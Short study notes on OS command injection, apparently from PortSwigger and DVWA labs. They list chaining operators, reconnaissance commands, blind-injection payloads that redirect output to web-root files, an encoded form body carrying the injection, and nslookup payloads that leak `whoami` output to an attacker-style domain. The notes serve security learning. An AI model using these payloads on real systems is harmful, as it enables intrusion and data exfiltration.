***CMD injection***

Direct os command execution at the os level

Below are the few operators to join the os command and execute them

;

&&

&

;

|

-

$

(

)

`

||

The hard level problem is left http://127.0.0.1/dvwa/vulnerabilities/exec/

Ref: https://www.scribd.com/document/2530476/Php-Endangers-Remote-Code-Execution

& echo aiwefwlguh &

|  |  |  |
| --- | --- | --- |
| Purpose of command | Linux | Windows |
| Name of current user | whoami | whoami |
| Operating system | uname -a | ver |
| Network configuration | ifconfig | ipconfig /all |
| Network connections | netstat -an | netstat -an |
| Running processes | ps -ef | tasklist |

* Blind os command injection can be checked by the following

“& ping -c 10 127.0.0.1 & echo “

* Exploiting blind OS command injection by redirecting output and do url encoding via ctrl+u

“& whoami > /var/www/static/whoami.txt &”

whoami > /var/www/static/whoami.txt &”

& sleep 10 #

**ctrl + U to encode the URL**

**asdf& whoami >/var/www/images/62.jpg &**

**csrf=g2HThtIMoZXUbzyPKPRnLx066gEFKLV6&name=asdf&email=asdf%26+whoami+>/var/www/images/62.jpg+%26&subject=a&message=asd**

**OAST detection (**out-of-band interaction**)**

**This is not detectable by above command / tricks**

& nslookup kgji2ohoyw.web-attacker.com &

Or

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

eg.

& nslookup `whoami`.l9vxsiupgmtqhyfl2p4khtpk8be22r.burpcollaborator.net &

Ref: https://portswigger.net/web-security/os-command-injection

[Find OS command injection vulnerabilities using Burp Suite's web vulnerability scanner](https://portswigger.net/burp/vulnerability-scanner)

:https://portswigger.net/burp/vulnerability-scanner

**More Detail:** https://portswigger.net/research/hunting-asynchronous-vulnerabilities